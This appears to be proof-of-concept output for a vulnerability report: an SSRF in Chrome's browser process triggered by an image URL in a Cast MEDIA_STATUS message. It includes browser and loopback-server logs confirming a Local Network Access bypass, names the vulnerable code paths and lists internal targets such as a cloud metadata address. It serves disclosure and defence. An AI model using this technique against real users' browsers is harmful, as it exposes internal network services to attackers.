================================================================================
POC OUTPUT — Browser-process SSRF via Cast MEDIA_STATUS image URL
================================================================================

Strategy: code-injection (Strategy B). The injection simulates the EXACT
MEDIA_STATUS JSON that a malicious Cast receiver app would deliver over the
CastSocket on namespace urn:x-cast:com.google.cast.media. The injection point is
CastMediaController::SetMediaStatus(), which in production is called from
app_activity.cc:117-123 with the decoded Cast V2 message body. Everything from
SetMediaStatus() onward is unmodified production code.

A loopback HTTP server on 127.0.0.1:47713 stands in for an internal target the
attacker would aim at (e.g. http://127.0.0.1:9222/json/version,
http://192.168.1.1/admin, http://169.254.169.254/latest/meta-data/).

--------------------------------------------------------------------------------
CHROME BROWSER-PROCESS LOG (PID 1519 = browser process main thread)
--------------------------------------------------------------------------------
[1519:1519:0405/071355.615850:ERROR:chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc:132] [SSRF-POC] CastMediaNotificationProducer is constructed in the BROWSER PROCESS — injecting simulated Cast MEDIA_STATUS
[1519:1519:0405/071355.616699:ERROR:chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc:196] [SSRF-POC] Handing attacker JSON to CastMediaController::SetMediaStatus() — vulnerable parser at cast_media_controller.cc:238-254 performs NO URL validation
[1519:1519:0405/071355.616884:ERROR:chrome/browser/ui/global_media_controls/cast_media_notification_producer.cc:207] [SSRF-POC] MEDIA_STATUS dispatched. If the browser process issues a GET to http://127.0.0.1:47713/SSRF-PROBE-FROM-CAST-MEDIA-STATUS, the SSRF + LNA bypass is confirmed.
[1519:1519:0405/071355.617043:ERROR:chrome/browser/ui/global_media_controls/cast_media_notification_item.cc:324] [SSRF-POC] ImageDownloader::Download() reached with url=http://127.0.0.1:47713/SSRF-PROBE-FROM-CAST-MEDIA-STATUS — fetching via GetURLLoaderFactoryForBrowserProcess() with NO scheme/host check and NO client_security_state.

--------------------------------------------------------------------------------
SSRF TARGET (127.0.0.1:47713) ACCESS LOG
--------------------------------------------------------------------------------
[SSRF-TARGET] listening on http://127.0.0.1:47713/ — this stands in for an internal service the attacker wants Chrome to hit.

========================================================
[SSRF-TARGET] 2026-04-05T07:13:55.620  *** REQUEST RECEIVED ***
  Method : GET
  Path   : /SSRF-PROBE-FROM-CAST-MEDIA-STATUS
  Client : 127.0.0.1:52538
  UA     : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
  Origin : <none>
  SecFetch-Site: cross-site
========================================================
[SSRF-TARGET] >>> CONFIRMED: Chrome browser process fetched an attacker-controlled loopback URL delivered via a Cast MEDIA_STATUS image field. Local Network Access did NOT block it. <<<

--------------------------------------------------------------------------------
INTERPRETATION
--------------------------------------------------------------------------------
* The four [SSRF-POC] lines are emitted from the BROWSER PROCESS (Chrome log
  format `[browser_pid:thread_id:...]` — both 1519).
* 3 ms after CastMediaController::SetMediaStatus() consumed the malicious JSON
  (07:13:55.617), the loopback server received GET
  /SSRF-PROBE-FROM-CAST-MEDIA-STATUS (07:13:55.620) with Chrome's User-Agent.
* No `Origin` header, `Sec-Fetch-Site: cross-site` — matches BitmapFetcher's
  opaque-origin / kNoCors / CredentialsMode::kOmit defaults.
* No LNA preflight, no block: GetURLLoaderFactoryForBrowserProcess() sets no
  client_security_state ⇒ local_network_access_checker.cc:121 returns
  kAllowedMissingClientSecurityState.
* This is the PRODUCTION fetch path — only the JSON delivery was simulated. In
  the real attack the same JSON arrives over a CastSocket from the Chromecast
  running the attacker's $5 receiver app after the victim clicks "Cast".

This is a logic vulnerability (CWE-918 SSRF), not memory corruption, so there
is no ASAN report — proof is the loopback request itself.